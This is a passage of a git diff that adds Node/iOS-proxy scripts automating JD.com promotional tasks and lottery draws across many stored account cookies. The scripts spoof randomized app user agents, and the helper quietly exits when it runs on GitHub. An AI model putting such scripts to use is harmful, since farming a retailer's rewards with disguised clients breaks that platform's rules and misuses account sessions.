this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_superBrandStar.js b/jd_superBrandStar.js new file mode 100644 index 0000000..8c0336e --- /dev/null +++ b/jd_superBrandStar.js @@ -0,0 +1,278 @@ +/** +特务之明星送好礼 +一次性脚本。请禁用! +cron 36 2,19 * * * jd_superBrandStar.js + */ +const $ = new Env('特务之明星送好礼'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.flag = false +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false, 40, 40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + //await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + //if (i == 0 && $.flag) return; + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('showStarGiftInfo'); + if (JSON.stringify($.activityInfo) === '{}') { + console.log(`本期活动结束,等待下期。。。`); + $.flag = true + return; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + console.log(`当前活动:${$.activityName},ID:${$.activityId}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + $.taskList = []; + await takeRequest('superBrandTaskList', { "source": "star_gift", "activityId": $.activityId }); + await $.wait(1000); + await doTask(); + await $.wait(500) + console.log('开始抽奖:') + await await takeRequest('superBrandTaskLottery') + +} + + +async function doTask() { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.completionFlag) { + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if ($.oneTask.assignmentType === 1) { + let subInfo = $.oneTask.ext.productsInfo || $.oneTask.ext.shoppingActivity || ''; + if (subInfo && subInfo[0]) { + for (let j = 0; j < subInfo.length; j++) { + $.runInfo = subInfo[j]; + if ($.runInfo.status !== 1) { + continue; + } + console.log(`任务:${$.runInfo.title || $.runInfo.shopName || $.runInfo.itemId},去执行`); + if ($.oneTask.assignmentName == '浏览会场') { + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 1 }); + await $.wait($.oneTask.ext.waitDuration * 1000) + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + } else { + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + await $.wait(200); + } + + } + } + } + else if ($.oneTask.assignmentType === 3) { + let subInfo = $.oneTask.ext.followShop || ''; + if (subInfo && subInfo[0]) { + for (let j = 0; j < subInfo.length; j++) { + $.runInfo = subInfo[j]; + if ($.runInfo.status !== 1) { + continue; + } + console.log(`任务:${$.runInfo.title || $.runInfo.shopName || $.runInfo.itemId},去执行`); + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + } + } + + } + } +} +async function takeRequest(type, bodyInfo = '') { + let url = ``; + let myRequest = ``; + if (bodyInfo) { + url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=${type}&t=${Date.now()}&body=${encodeURIComponent(JSON.stringify(bodyInfo))}`; + } else { + switch (type) { + case 'showStarGiftInfo': + url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=showStarGiftInfo&t=${Date.now()}&body=%7B%22source%22:%22star_gift%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22star_gift%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/?uuid=&client=wh5&area=22_2005_2009_36385&appid=ProductZ4Brand&functionId=superBrandTaskLottery&t=${Date.now()}&body=%7B%22source%22:%22star_gift%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22%7D`; + break; + default: + console.log(`错误${type}`); + } + } + + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'showStarGiftInfo': + if (data.code === '0' && data.data && data.data.result) { + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if (data.code === '0') { + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if (data.code === '0') { + console.log(JSON.stringify(data.data.bizMsg)); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if (data.code === '0' && data.data.bizCode !== 'TK000') { + $.runFlag = false; + console.log(`抽奖次数已用完`); + } else if (data.code === '0' && data.data.bizCode == 'TK000') { + if (data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList) { + if (data.data.result.rewardComponent.beanList.length > 0) { + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + } else { + $.runFlag = false; + console.log(`抽奖失败`); + } + //console.log(JSON.stringify(data)); + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin': `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://prodev.m.jd.com/mall/active/31GFSKyRbD3ehsHih2rQKArxfb8c/index.html`, + 'Host': `api.m.jd.com`, + 'User-Agent': UA, + 'Accept-Language': `zh-cn`, + 'Accept-Encoding': `gzip, deflate, br` + }; + return { url: url, headers: headers, body: `` }; +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_supermh.js b/jd_supermh.js new file mode 100644 index 0000000..9ba238c --- /dev/null +++ b/jd_supermh.js @@ -0,0 +1,345 @@ +/* +京东超级盲盒 +活动入口:京东APP --我的--超级盲盒 +更新时间:2022-06-03 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盲盒 +0 20 3,17 6 * jd_supermh.js, tag=京东超级盲盒, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true +*/ + +const $ = new Env('京东超级盲盒'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +const linkId = 'Jim-Gu6R_lyd4LT6nz69ow'; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + UA = await getUa(); + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await run(); + } + } + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + info = await starShopPageInfo(); + if (info.planDrawTime <= (new Date).getTime()) { + console.log('开始抽奖拉!'); + await starShopDraw() + } else { + console.log('还没有到开奖时间'); + } + if (info.currentGoodRoleValue != info.goodRoleValue) { + await getTaskList(); + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle} 签到`) + await apDoTask(task.id, task.taskType, undefined); + // $.log(`${task.taskTitle} 领取签到奖励`) + // await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_CHANNEL') { + $.log(`${task.taskTitle} `) + await apDoTask(task.id, task.taskType, encodeURIComponent(task.taskSourceUrl)); + // $.log(`${task.taskTitle} 领取奖励`) + // await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT') { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + if (!resp.success) { + $.log(`${task.taskTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + await $.wait(1000) + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + if (!resp.success) { + $.log(`${task.taskTitle} 领取完成!`) + break + } + } + } + } + } else { + console.log('你已经做完任务等待开奖吧!'); + } + } catch (error) { + console.log(error) + } +} + +//任务列表 +function getTaskList() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apTaskList', { "linkId": linkId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + if (data.success) { + $.log('=== 任务列表 start ===') + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apDoTask', { "taskType": taskType, "taskId": taskId, "channel": 4, "linkId": linkId, "itemId": itemId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code == 0) { + console.log('任务完成,成功!'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apTaskDetail', { "taskType": taskType, "taskId": taskId, "channel": 4, "linkId": linkId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`apTaskDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + return new Promise(resolve => { + 